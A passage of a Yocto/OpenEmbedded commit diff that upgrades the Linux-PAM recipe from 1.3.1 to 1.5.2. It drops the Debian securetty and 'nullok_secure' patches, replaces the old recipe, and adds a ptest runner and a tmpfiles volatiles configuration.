-Index: Linux-PAM-1.3.0/modules/pam_securetty/pam_securetty.c
-===================================================================
---- Linux-PAM-1.3.0.orig/modules/pam_securetty/pam_securetty.c
-+++ Linux-PAM-1.3.0/modules/pam_securetty/pam_securetty.c
-@@ -1,7 +1,5 @@
- /* pam_securetty module */
-
--#define SECURETTY_FILE "/etc/securetty"
--#define TTY_PREFIX "/dev/"
- #define CMDLINE_FILE "/proc/cmdline"
- #define CONSOLEACTIVE_FILE "/sys/class/tty/console/active"
-
-@@ -40,6 +38,9 @@
- #include <security/pam_modutil.h>
- #include <security/pam_ext.h>
-
-+extern int _pammodutil_tty_secure(const pam_handle_t *pamh,
-+ const char *uttyname);
-+
- #define PAM_DEBUG_ARG 0x0001
- #define PAM_NOCONSOLE_ARG 0x0002
-
-@@ -73,11 +74,7 @@ securetty_perform_check (pam_handle_t *p
- const char *username;
- const char *uttyname;
- const void *void_uttyname;
-- char ttyfileline[256];
-- char ptname[256];
-- struct stat ttyfileinfo;
- struct passwd *user_pwd;
-- FILE *ttyfile;
-
- /* log a trail for debugging */
- if (ctrl & PAM_DEBUG_ARG) {
-@@ -105,50 +102,7 @@ securetty_perform_check (pam_handle_t *p
- return PAM_SERVICE_ERR;
- }
-
-- /* The PAM_TTY item may be prefixed with "/dev/" - skip that */
-- if (strncmp(TTY_PREFIX, uttyname, sizeof(TTY_PREFIX)-1) == 0) {
-- uttyname += sizeof(TTY_PREFIX)-1;
-- }
--
-- if (stat(SECURETTY_FILE, &ttyfileinfo)) {
-- pam_syslog(pamh, LOG_NOTICE, "Couldn't open %s: %m", SECURETTY_FILE);
-- return PAM_SUCCESS; /* for compatibility with old securetty handling,
-- this needs to succeed. But we still log the
-- error. */
-- }
--
-- if ((ttyfileinfo.st_mode & S_IWOTH) || !S_ISREG(ttyfileinfo.st_mode)) {
-- /* If the file is world writable or is not a
-- normal file, return error */
-- pam_syslog(pamh, LOG_ERR,
-- "%s is either world writable or not a normal file",
-- SECURETTY_FILE);
-- return PAM_AUTH_ERR;
-- }
--
-- ttyfile = fopen(SECURETTY_FILE,"r");
-- if (ttyfile == NULL) { /* Check that we opened it successfully */
-- pam_syslog(pamh, LOG_ERR, "Error opening %s: %m", SECURETTY_FILE);
-- return PAM_SERVICE_ERR;
-- }
--
-- if (isdigit(uttyname[0])) {
-- snprintf(ptname, sizeof(ptname), "pts/%s", uttyname);
-- } else {
-- ptname[0] = '\0';
-- }
--
-- retval = 1;
--
-- while ((fgets(ttyfileline, sizeof(ttyfileline)-1, ttyfile) != NULL)
-- && retval) {
-- if (ttyfileline[strlen(ttyfileline) - 1] == '\n')
-- ttyfileline[strlen(ttyfileline) - 1] = '\0';
--
-- retval = ( strcmp(ttyfileline, uttyname)
-- && (!ptname[0] || strcmp(ptname, uttyname)) );
-- }
-- fclose(ttyfile);
-+ retval = _pammodutil_tty_secure(pamh, uttyname);
-
- if (retval && !(ctrl & PAM_NOCONSOLE_ARG)) {
- FILE *cmdlinefile;
-Index: Linux-PAM-1.3.0/modules/pam_securetty/tty_secure.c
-===================================================================
---- /dev/null
-+++ Linux-PAM-1.3.0/modules/pam_securetty/tty_secure.c
-@@ -0,0 +1,90 @@
-+/*
-+ * A function to determine if a particular line is in /etc/securetty
-+ */
-+
-+
-+#define SECURETTY_FILE "/etc/securetty"
-+#define TTY_PREFIX "/dev/"
-+
-+/* This function taken out of pam_securetty by Sam Hartman
-+ * <hartmans@debian.org>*/
-+/*
-+ * by Elliot Lee <sopwith@redhat.com>, Red Hat Software.
-+ * July 25, 1996.
-+ * Slight modifications AGM. 1996/12/3
-+ */
-+
-+#include <unistd.h>
-+#include <sys/types.h>
-+#include <sys/stat.h>
-+#include <security/pam_modules.h>
-+#include <stdarg.h>
-+#include <syslog.h>
-+#include <sys/syslog.h>
-+#include <stdio.h>
-+#include <string.h>
-+#include <stdlib.h>
-+#include <ctype.h>
-+#include <security/pam_modutil.h>
-+#include <security/pam_ext.h>
-+
-+extern int _pammodutil_tty_secure(const pam_handle_t *pamh,
-+ const char *uttyname);
-+
-+int _pammodutil_tty_secure(const pam_handle_t *pamh, const char *uttyname)
-+{
-+ int retval = PAM_AUTH_ERR;
-+ char ttyfileline[256];
-+ char ptname[256];
-+ struct stat ttyfileinfo;
-+ FILE *ttyfile;
-+ /* The PAM_TTY item may be prefixed with "/dev/" - skip that */
-+ if (strncmp(TTY_PREFIX, uttyname, sizeof(TTY_PREFIX)-1) == 0)
-+ uttyname += sizeof(TTY_PREFIX)-1;
-+
-+ if (stat(SECURETTY_FILE, &ttyfileinfo)) {
-+ pam_syslog(pamh, LOG_NOTICE, "Couldn't open %s: %m",
-+ SECURETTY_FILE);
-+ return PAM_SUCCESS; /* for compatibility with old securetty handling,
-+ this needs to succeed. But we still log the
-+ error. */
-+ }
-+
-+ if ((ttyfileinfo.st_mode & S_IWOTH) || !S_ISREG(ttyfileinfo.st_mode)) {
-+ /* If the file is world writable or is not a
-+ normal file, return error */
-+ pam_syslog(pamh, LOG_ERR,
-+ "%s is either world writable or not a normal file",
-+ SECURETTY_FILE);
-+ return PAM_AUTH_ERR;
-+ }
-+
-+ ttyfile = fopen(SECURETTY_FILE,"r");
-+ if(ttyfile == NULL) { /* Check that we opened it successfully */
-+ pam_syslog(pamh, LOG_ERR, "Error opening %s: %m", SECURETTY_FILE);
-+ return PAM_SERVICE_ERR;
-+ }
-+
-+ if (isdigit(uttyname[0])) {
-+ snprintf(ptname, sizeof(ptname), "pts/%s", uttyname);
-+ } else {
-+ ptname[0] = '\0';
-+ }
-+
-+ retval = 1;
-+
-+ while ((fgets(ttyfileline,sizeof(ttyfileline)-1, ttyfile) != NULL)
-+ && retval) {
-+ if(ttyfileline[strlen(ttyfileline) - 1] == '\n')
-+ ttyfileline[strlen(ttyfileline) - 1] = '\0';
-+ retval = ( strcmp(ttyfileline,uttyname)
-+ && (!ptname[0] || strcmp(ptname, uttyname)) );
-+ }
-+ fclose(ttyfile);
-+
-+ if(retval) {
-+ retval = PAM_AUTH_ERR;
-+ }
-+
-+ return retval;
-+}
diff --git a/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch b/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch
deleted file mode 100644
index d2cc66882e..0000000000
--- a/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch
+++ /dev/null
@@ -1,195 +0,0 @@
-From b6545b83f94c5fb7aec1478b8d458a1393f479c8 Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Wed, 25 May 2016 14:12:25 +0300
-Subject: [PATCH] pam_unix: support 'nullok_secure' option
-
-Debian patch to add a new 'nullok_secure' option to pam_unix,
-which accepts users with null passwords only when the applicant is
-connected from a tty listed in /etc/securetty.
-
-Authors: Sam Hartman <hartmans@debian.org>,
- Steve Langasek <vorlon@debian.org>
-
-Upstream-Status: Pending
-
-Signed-off-by: Ming Liu <ming.liu@windriver.com>
-Signed-off-by: Amarnath Valluri <amarnath.valluri@intel.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
- modules/pam_unix/Makefile.am | 3 ++-
- modules/pam_unix/pam_unix.8.xml | 19 ++++++++++++++++++-
- modules/pam_unix/support.c | 40 +++++++++++++++++++++++++++++++++++-----
- modules/pam_unix/support.h | 8 ++++++--
- 4 files changed, 61 insertions(+), 9 deletions(-)
-
-diff --git a/modules/pam_unix/Makefile.am b/modules/pam_unix/Makefile.am
-index 56df178..2bba460 100644
---- a/modules/pam_unix/Makefile.am
-+++ b/modules/pam_unix/Makefile.am
-@@ -30,7 +30,8 @@ if HAVE_VERSIONING
- pam_unix_la_LDFLAGS += -Wl,--version-script=$(srcdir)/../modules.map
- endif
- pam_unix_la_LIBADD = $(top_builddir)/libpam/libpam.la \
-- @LIBCRYPT@ @LIBSELINUX@ @TIRPC_LIBS@ @NSL_LIBS@
-+ @LIBCRYPT@ @LIBSELINUX@ @TIRPC_LIBS@ @NSL_LIBS@ \
-+ ../pam_securetty/tty_secure.lo
-
- securelib_LTLIBRARIES = pam_unix.la
-
-diff --git a/modules/pam_unix/pam_unix.8.xml b/modules/pam_unix/pam_unix.8.xml
-index 1b318f1..be0330e 100644
---- a/modules/pam_unix/pam_unix.8.xml
-+++ b/modules/pam_unix/pam_unix.8.xml
-@@ -159,7 +159,24 @@
- <para>
- The default action of this module is to not permit the
- user access to a service if their official password is blank.
-- The <option>nullok</option> argument overrides this default.
-+ The <option>nullok</option> argument overrides this default
-+ and allows any user with a blank password to access the
-+ service.
-+ </para>
-+ </listitem>
-+ </varlistentry>
-+ <varlistentry>
-+ <term>
-+ <option>nullok_secure</option>
-+ </term>
-+ <listitem>
-+ <para>
-+ The default action of this module is to not permit the
-+ user access to a service if their official password is blank.
-+ The <option>nullok_secure</option> argument overrides this
-+ default and allows any user with a blank password to access
-+ the service as long as the value of PAM_TTY is set to one of
-+ the values found in /etc/securetty.
- </para>
- </listitem>
- </varlistentry>
-diff --git a/modules/pam_unix/support.c b/modules/pam_unix/support.c
-index fc8595e..29e3341 100644
---- a/modules/pam_unix/support.c
-+++ b/modules/pam_unix/support.c
-@@ -183,13 +183,22 @@ int _set_ctrl(pam_handle_t *pamh, int flags, int *remember, int *rounds,
- /* now parse the arguments to this module */
-
- for (; argc-- > 0; ++argv) {
-+ int sl;
-
- D(("pam_unix arg: %s", *argv));
-
- for (j = 0; j < UNIX_CTRLS_; ++j) {
-- if (unix_args[j].token
-- && !strncmp(*argv, unix_args[j].token, strlen(unix_args[j].token))) {
-- break;
-+ if (unix_args[j].token) {
-+ sl = strlen(unix_args[j].token);
-+ if (unix_args[j].token[sl-1] == '=') {
-+ /* exclude argument from comparison */
-+ if (!strncmp(*argv, unix_args[j].token, sl))
-+ break;
-+ } else {
-+ /* compare full strings */
-+ if (!strcmp(*argv, unix_args[j].token))
-+ break;
-+ }
- }
- }
-
-@@ -560,6 +569,7 @@ static int _unix_run_helper_binary(pam_handle_t *pamh, const char *passwd,
- if (child == 0) {
- static char *envp[] = { NULL };
- const char *args[] = { NULL, NULL, NULL, NULL };
-+ int nullok = off(UNIX__NONULL, ctrl);
-
- /* XXX - should really tidy up PAM here too */
-
-@@ -587,7 +597,16 @@ static int _unix_run_helper_binary(pam_handle_t *pamh, const char *passwd,
- /* exec binary helper */
- args[0] = CHKPWD_HELPER;
- args[1] = user;
-- if (off(UNIX__NONULL, ctrl)) { /* this means we've succeeded */
-+ if (on(UNIX_NULLOK_SECURE, ctrl)) {
-+ const void *uttyname;
-+ retval = pam_get_item(pamh, PAM_TTY, &uttyname);
-+ if (retval != PAM_SUCCESS || uttyname == NULL
-+ || _pammodutil_tty_secure(pamh, (const char *)uttyname) != PAM_SUCCESS) {
-+ nullok = 0;
-+ }
-+ }
-+
-+ if (nullok) {
- args[2]="nullok";
- } else {
- args[2]="nonull";
-@@ -672,6 +691,17 @@ _unix_blankpasswd (pam_handle_t *pamh, unsigned int ctrl, const char *name)
- if (on(UNIX__NONULL, ctrl))
- return 0; /* will fail but don't let on yet */
-
-+ if (on(UNIX_NULLOK_SECURE, ctrl)) {
-+ int retval2;
-+ const void *uttyname;
-+ retval2 = pam_get_item(pamh, PAM_TTY, &uttyname);
-+ if (retval2 != PAM_SUCCESS || uttyname == NULL)
-+ return 0;
-+
-+ if (_pammodutil_tty_secure(pamh, (const char *)uttyname) != PAM_SUCCESS)
-+ return 0;
-+ }
-+
- /* UNIX passwords area */
-
- retval = get_pwd_hash(pamh, name, &pwd, &salt);
-@@ -758,7 +788,7 @@ int _unix_verify_password(pam_handle_t * pamh, const char *name
- }
- }
- } else {
-- retval = verify_pwd_hash(p, salt, off(UNIX__NONULL, ctrl));
-+ retval = verify_pwd_hash(p, salt, _unix_blankpasswd(pamh, ctrl, name));
- }
-
- if (retval == PAM_SUCCESS) {
-diff --git a/modules/pam_unix/support.h b/modules/pam_unix/support.h
-index b4c279c..8da4a8e 100644
---- a/modules/pam_unix/support.h
-+++ b/modules/pam_unix/support.h
-@@ -98,8 +98,9 @@ typedef struct {
- #define UNIX_QUIET 28 /* Don't print informational messages */
- #define UNIX_NO_PASS_EXPIRY 29 /* Don't check for password expiration if not used for authentication */
- #define UNIX_DES 30 /* DES, default */
-+#define UNIX_NULLOK_SECURE 31 /* NULL passwords allowed only on secure ttys */
- /* -------------- */
--#define UNIX_CTRLS_ 31 /* number of ctrl arguments defined */
-+#define UNIX_CTRLS_ 32 /* number of ctrl arguments defined */
-
- #define UNIX_DES_CRYPT(ctrl) (off(UNIX_MD5_PASS,ctrl)&&off(UNIX_BIGCRYPT,ctrl)&&off(UNIX_SHA256_PASS,ctrl)&&off(UNIX_SHA512_PASS,ctrl)&&off(UNIX_BLOWFISH_PASS,ctrl))
-
-@@ -117,7 +118,7 @@ static const UNIX_Ctrls unix_args[UNIX_CTRLS_] =
- /* UNIX_AUTHTOK_TYPE */ {"authtok_type=", _ALL_ON_, 0100, 0},
- /* UNIX__PRELIM */ {NULL, _ALL_ON_^(0600), 0200, 0},
- /* UNIX__UPDATE */ {NULL, _ALL_ON_^(0600), 0400, 0},
--/* UNIX__NONULL */ {NULL, _ALL_ON_, 01000, 0},
-+/* UNIX__NONULL */ {NULL, _ALL_ON_^(02000000000), 01000, 0},
- /* UNIX__QUIET */ {NULL, _ALL_ON_, 02000, 0},
- /* UNIX_USE_AUTHTOK */ {"use_authtok", _ALL_ON_, 04000, 0},
- /* UNIX_SHADOW */ {"shadow", _ALL_ON_, 010000, 0},
-@@ -139,6 +140,7 @@ static const UNIX_Ctrls unix_args[UNIX_CTRLS_] =
- /* UNIX_QUIET */ {"quiet", _ALL_ON_, 01000000000, 0},
- /* UNIX_NO_PASS_EXPIRY */ {"no_pass_expiry", _ALL_ON_, 02000000000, 0},
- /* UNIX_DES */ {"des", _ALL_ON_^(0260420000), 0, 1},
-+/* UNIX_NULLOK_SECURE */ {"nullok_secure", _ALL_ON_^(01000), 02000000000, 0},
- };
-
- #define UNIX_DEFAULTS (unix_args[UNIX__NONULL].flag)
-@@ -172,6 +174,8 @@ extern int _unix_read_password(pam_handle_t * pamh
- ,const char *data_name
- ,const void **pass);
-
-+extern int _pammodutil_tty_secure(const pam_handle_t *pamh, const char *uttyname);
-+
- extern int _unix_run_verify_binary(pam_handle_t *pamh,
- unsigned int ctrl, const char *user, int *daysleft);
- #endif /* _PAM_UNIX_SUPPORT_H */
---
-2.4.0
-
diff --git a/meta/recipes-extended/pam/libpam/pam-volatiles.conf b/meta/recipes-extended/pam/libpam/pam-volatiles.conf
new file mode 100644
index 0000000000..d8b8259a93
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam/pam-volatiles.conf
@@ -0,0 +1 @@
+d /var/run/sepermit 0755 root root - -
diff --git a/meta/recipes-extended/pam/libpam/run-ptest b/meta/recipes-extended/pam/libpam/run-ptest
new file mode 100644
index 0000000000..9c304aee47
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam/run-ptest
@@ -0,0 +1,32 @@
+#! /bin/sh
+
+cd tests
+
+export srcdir=.
+
+failed=0
+all=0
+for f in tst-*; do
+ "./$f" > /dev/null 2>&1
+ case "$?" in
+ 0)
+ echo "PASS: $f"
+ all=$((all + 1))
+ ;;
+ 77)
+ echo "SKIP: $f"
+ ;;
+ *)
+ echo "FAIL: $f"
+ failed=$((failed + 1))
+ all=$((all + 1))
+ ;;
+ esac
+done
+
+if [ "$failed" -eq 0 ] ; then
+ echo "All $all tests passed"
+else
+ echo "$failed of $all tests failed"
+fi
+unset srcdir
diff --git a/meta/recipes-extended/pam/libpam_1.3.1.bb b/meta/recipes-extended/pam/libpam_1.3.1.bb
deleted file mode 100644
index bc72afe6ad..0000000000
--- a/meta/recipes-extended/pam/libpam_1.3.1.bb
+++ /dev/null
@@ -1,168 +0,0 @@
-DISABLE_STATIC = ""
-SUMMARY = "Linux-PAM (Pluggable Authentication Modules)"
-DESCRIPTION = "Linux-PAM (Pluggable Authentication Modules for Linux), a flexible mechanism for authenticating users"
-HOMEPAGE = "https://fedorahosted.org/linux-pam/"
-BUGTRACKER = "https://fedorahosted.org/linux-pam/newticket"
-SECTION = "base"
-# PAM is dual licensed under GPL and BSD.
-# /etc/pam.d comes from Debian libpam-runtime in 2009-11 (at that time
-# libpam-runtime-1.0.1 is GPLv2+), by openembedded
-LICENSE = "GPLv2+ | BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=7eb5c1bf854e8881005d673599ee74d3 \
- file://libpamc/License;md5=a4da476a14c093fdc73be3c3c9ba8fb3 \
- "
-
-SRC_URI = "https://github.com/linux-pam/linux-pam/releases/download/v${PV}/Linux-PAM-${PV}.tar.xz \
- file://99_pam \
- file://pam.d/common-account \
- file://pam.d/common-auth \
- file://pam.d/common-password \
- file://pam.d/common-session \
- file://pam.d/common-session-noninteractive \
- file://pam.d/other \
- file://libpam-xtests.patch \
- file://pam-security-abstract-securetty-handling.patch \
- file://pam-unix-nullok-secure.patch \
- file://crypt_configure.patch \
- "
-
-SRC_URI[md5sum] = "558ff53b0fc0563ca97f79e911822165"
-SRC_URI[sha256sum] = "eff47a4ecd833fbf18de9686632a70ee8d0794b79aecb217ebd0ce11db4cd0db"
-
-SRC_URI_append_libc-musl = " file://0001-Add-support-for-defining-missing-funcitonality.patch \
- file://include_paths_header.patch \
- "
-
-DEPENDS = "bison-native flex flex-native cracklib libxml2-native virtual/crypt"
-
-EXTRA_OECONF = "--includedir=${includedir}/security \
- --libdir=${base_libdir} \
- --disable-nis \
- --disable-regenerate-docu \
- --disable-prelude"
-
-CFLAGS_append = " -fPIC "
-
-S = "${WORKDIR}/Linux-PAM-${PV}"
-
-inherit autotools gettext pkgconfig
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[audit] = "--enable-audit,--disable-audit,audit,"
-PACKAGECONFIG[userdb] = "--enable-db=db,--enable-db=no,db,"
-
-PACKAGES += "${PN}-runtime ${PN}-xtests"
-FILES_${PN} = "${base_libdir}/lib*${SOLIBS}"
-FILES_${PN}-dev += "${base_libdir}/security/*.la ${base_libdir}/*.la ${base_libdir}/lib*${SOLIBSDEV}"
-FILES_${PN}-runtime = "${sysconfdir}"
-FILES_${PN}-xtests = "${datadir}/Linux-PAM/xtests"
-
-PACKAGES_DYNAMIC += "^${MLPREFIX}pam-plugin-.*"
-
-def get_multilib_bit(d):
- baselib = d.getVar('baselib') or ''
- return baselib.replace('lib', '')
-
-libpam_suffix = "suffix${@get_multilib_bit(d)}"
-
-RPROVIDES_${PN} += "${PN}-${libpam_suffix}"
-RPROVIDES_${PN}-runtime += "${PN}-runtime-${libpam_suffix}"
-
-RDEPENDS_${PN}-runtime = "${PN}-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-deny-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-permit-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-warn-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-unix-${libpam_suffix} \
- "
-RDEPENDS_${PN}-xtests = "${PN}-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-access-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-debug-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-cracklib-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-pwhistory-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-succeed-if-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-time-${libpam_suffix} \
- coreutils"
-
-# FIXME: Native suffix breaks here, disable it for now
-RRECOMMENDS_${PN} = "${PN}-runtime-${libpam_suffix}"
-RRECOMMENDS_${PN}_class-native = ""
-
-python populate_packages_prepend () {
- def pam_plugin_append_file(pn, dir, file):
- nf = os.path.join(dir, file)
- of = d.getVar('FILES_' + pn)
- if of:
- nf = of + " " + nf
- d.setVar('FILES_' + pn, nf)
-
- def pam_plugin_hook(file, pkg, pattern, format, basename):
- pn = d.getVar('PN')
- libpam_suffix = d.getVar('libpam_suffix')
-
- rdeps = d.getVar('RDEPENDS_' + pkg)
- if rdeps:
- rdeps = rdeps + " " + pn + "-" + libpam_suffix
- else:
- rdeps = pn + "-" + libpam_suffix
- d.setVar('RDEPENDS_' + pkg, rdeps)
-
- provides = d.getVar('RPROVIDES_' + pkg)
- if provides:
- provides = provides + " " + pkg + "-" + libpam_suffix
- else:
- provides = pkg + "-" + libpam_suffix
- d.setVar('RPROVIDES_' + pkg, provides)
-
- mlprefix = d.getVar('MLPREFIX') or ''
- dvar = d.expand('${WORKDIR}/package')
- pam_libdir = d.expand('${base_libdir}/security')
- pam_sbindir = d.expand('${sbindir}')
- pam_filterdir = d.expand('${base_libdir}/security/pam_filter')
- pam_pkgname = mlprefix + 'pam-plugin%s'
-
- do_split_packages(d, pam_libdir, r'^pam(.*)\.so$', pam_pkgname,
- 'PAM plugin for %s', hook=pam_plugin_hook, extra_depends='')
- pam_plugin_append_file('%spam-plugin-unix' % mlprefix, pam_sbindir, 'unix_chkpwd')
- pam_plugin_append_file('%spam-plugin-unix' % mlprefix, pam_sbindir, 'unix_update')
- pam_plugin_append_file('%spam-plugin-tally' % mlprefix, pam_sbindir, 'pam_tally')
- pam_plugin_append_file('%spam-plugin-tally2' % mlprefix, pam_sbindir, 'pam_tally2')
- pam_plugin_append_file('%spam-plugin-timestamp' % mlprefix, pam_sbindir, 'pam_timestamp_check')
- pam_plugin_append_file('%spam-plugin-mkhomedir' % mlprefix, pam_sbindir, 'mkhomedir_helper')
- pam_plugin_append_file('%spam-plugin-console' % mlprefix, pam_sbindir, 'pam_console_apply')
- do_split_packages(d, pam_filterdir, r'^(.*)$', 'pam-filter-%s', 'PAM filter for %s', extra_depends='')
-}
-
-do_install() {
- autotools_do_install
-
- # don't install /var/run when populating rootfs. Do it through volatile
- rm -rf ${D}${localstatedir}
- install -d ${D}${sysconfdir}/default/volatiles
- install -m 0644 ${WORKDIR}/99_pam ${D}${sysconfdir}/default/volatiles
-
- install -d ${D}${sysconfdir}/pam.d/
- install -m 0644 ${WORKDIR}/pam.d/* ${D}${sysconfdir}/pam.d/
-
- # The lsb requires unix_chkpwd has setuid permission
- chmod 4755 ${D}${sbindir}/unix_chkpwd
-
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- echo "session optional pam_systemd.so" >> ${D}${sysconfdir}/pam.d/common-session
- fi
-}
-
-inherit features_check
-REQUIRED_DISTRO_FEATURES = "pam"
-
-BBCLASSEXTEND = "nativesdk native"
-
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-session"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-auth"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-password"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-session-noninteractive"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-account"
-CONFFILES_${PN}-runtime += "${sysconfdir}/security/limits.conf"
-
-UPSTREAM_CHECK_URI = "https://github.com/linux-pam/linux-pam/releases"
-
-CVE_PRODUCT = "linux-pam"
diff --git a/meta/recipes-extended/pam/libpam_1.5.2.bb b/meta/recipes-extended/pam/libpam_1.5.2.bb
new file mode 100644
index 0000000000..28ede8ff90
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam_1.5.2.bb
@@ -0,0 +1,185 @@
+DISABLE_STATIC = ""
+SUMMARY = "Linux-PAM (Pluggable Authentication Modules)"
+DESCRIPTION = "Linux-PAM (Pluggable Authentication Modules for Linux), a flexible mechanism for authenticating users"
+HOMEPAGE = "https://fedorahosted.org/linux-pam/"
+BUGTRACKER = "https://fedorahosted.org/linux-pam/newticket"
+SECTION = "base"
+# PAM is dual licensed under GPL and BSD.
+# /etc/pam.d comes from Debian libpam-runtime in 2009-11 (at that time
+# libpam-runtime-1.0.1 is GPLv2+), by openembedded
+LICENSE = "GPLv2+ | BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=7eb5c1bf854e8881005d673599ee74d3 \
+ file://libpamc/License;md5=a4da476a14c093fdc73be3c3c9ba8fb3 \
+ "
+
+SRC_URI = "https://github.com/linux-pam/linux-pam/releases/download/v${PV}/Linux-PAM-${PV}.tar.xz \
+ file://99_pam \
+ file://pam.d/common-account \
+ file://pam.d/common-auth \
+ file://pam.d/common-password \
+ file://pam.d/common-session \
+ file://pam.d/common-session-noninteractive \
+ file://pam.d/other \
+ file://libpam-xtests.patch \
+ file://0001-run-xtests.sh-check-whether-files-exist.patch \
+ file://run-ptest \
+ file://pam-volatiles.conf \
+ "
+
+SRC_URI[sha256sum] = "e4ec7131a91da44512574268f493c6d8ca105c87091691b8e9b56ca685d4f94d"
+
+DEPENDS = "bison-native flex flex-native cracklib libxml2-native virtual/crypt"
+
+EXTRA_OECONF = "--includedir=${includedir}/security \
+ --libdir=${base_libdir} \
+ --with-systemdunitdir=${systemd_system_unitdir} \
+ --disable-nis \
+ --disable-regenerate-docu \
+ --disable-doc \
+ --disable-prelude"
+
+CFLAGS:append = " -fPIC "
+
+S = "${WORKDIR}/Linux-PAM-${PV}"
+
+inherit autotools gettext pkgconfig systemd ptest
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[audit] = "--enable-audit,--disable-audit,audit,"
+PACKAGECONFIG[userdb] = "--enable-db=db,--enable-db=no,db,"
+
+PACKAGES += "${PN}-runtime ${PN}-xtests"
+FILES:${PN} = "${base_libdir}/lib*${SOLIBS}"
+FILES:${PN}-dev += "${base_libdir}/security/*.la ${base_libdir}/*.la ${base_libdir}/lib*${SOLIBSDEV}"
+FILES:${PN}-runtime = "${sysconfdir} ${sbindir} ${systemd_system_unitdir}"
+FILES:${PN}-xtests = "${datadir}/Linux-PAM/xtests"
+
+PACKAGES_DYNAMIC += "^${MLPREFIX}pam-plugin-.*"
+
+def get_multilib_bit(d):
+ baselib = d.getVar('baselib') or ''
+ return baselib.replace('lib', '')
+
+libpam_suffix = "suffix${@get_multilib_bit(d)}"
+
+RPROVIDES:${PN} += "${PN}-${libpam_suffix}"
+RPROVIDES:${PN}-runtime += "${PN}-runtime-${libpam_suffix}"
+
+RDEPENDS:${PN}-runtime = "${PN}-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-deny-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-permit-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-warn-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-unix-${libpam_suffix} \
+ "
+RDEPENDS:${PN}-xtests = "${PN}-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-access-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-debug-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-pwhistory-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-succeed-if-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-time-${libpam_suffix} \
+ bash coreutils"
+
+# FIXME: Native suffix breaks here, disable it for now
+RRECOMMENDS:${PN} = "${PN}-runtime-${libpam_suffix}"
+RRECOMMENDS:${PN}:class-native = ""
+
+python populate_packages:prepend () {
+ def pam_plugin_hook(file, pkg, pattern, format, basename):
+ pn = d.getVar('PN')
+ libpam_suffix = d.getVar('libpam_suffix')
+
+ rdeps = d.getVar('RDEPENDS:' + pkg)
+ if rdeps:
+ rdeps = rdeps + " " + pn + "-" + libpam_suffix
+ else:
+ rdeps = pn + "-" + libpam_suffix
+ d.setVar('RDEPENDS:' + pkg, rdeps)
+
+ provides = d.getVar('RPROVIDES:' + pkg)
+ if provides:
+ provides = provides + " " + pkg + "-" + libpam_suffix
+ else:
+ provides = pkg + "-" + libpam_suffix
+ d.setVar('RPROVIDES:' + pkg, provides)
+
+ mlprefix = d.getVar('MLPREFIX') or ''
+ dvar = d.expand('${WORKDIR}/package')
+ pam_libdir = d.expand('${base_libdir}/security')
+ pam_sbindir = d.expand('${sbindir}')
+ pam_filterdir = d.expand('${base_libdir}/security/pam_filter')
+ pam_pkgname = mlprefix + 'pam-plugin%s'
+
+ do_split_packages(d, pam_libdir, r'^pam(.*)\.so$', pam_pkgname,
+ 'PAM plugin for %s', hook=pam_plugin_hook, extra_depends='')
+ do_split_packages(d, pam_filterdir, r'^(.*)$', 'pam-filter-%s', 'PAM filter for %s', extra_depends='')
+}
+
+do_compile_ptest() {
+ cd tests
+ sed -i -e 's/$(MAKE) $(AM_MAKEFLAGS) check-TESTS//' Makefile
+ oe_runmake check-am
+ cd -
+}
+
+do_install() {
+ autotools_do_install
+
+ # don't install /var/run when populating rootfs. Do it through volatile
+ rm -rf ${D}${localstatedir}
+
+ if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','false','true',d)}; then
+ rm -rf ${D}${sysconfdir}/init.d/
+ rm -rf ${D}${sysconfdir}/rc*
+ install -d ${D}${sysconfdir}/tmpfiles.d
+ install -m 0644 ${WORKDIR}/pam-volatiles.conf \
+ ${D}${sysconfdir}/tmpfiles.d/pam.conf
+ else
+ install -d ${D}${sysconfdir}/default/volatiles
+ install -m 0644 ${WORKDIR}/99_pam \
+ ${D}${sysconfdir}/default/volatiles/
+ fi
+
+ install -d ${D}${sysconfdir}/pam.d/
+ install -m 0644 ${WORKDIR}/pam.d/* ${D}${sysconfdir}/pam.d/
+
+ # The lsb requires unix_chkpwd has setuid permission
+ chmod 4755 ${D}${sbindir}/unix_chkpwd
+
+ if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
+ echo "session optional pam_systemd.so" >> ${D}${sysconfdir}/pam.d/common-session
+ fi
+ if ${@bb.utils.contains('DISTRO_FEATURES','usrmerge','false','true',d)}; then
+ install -d ${D}/${libdir}/
+ mv ${D}/${base_libdir}/pkgconfig ${D}/${libdir}/
+ fi
+}
+
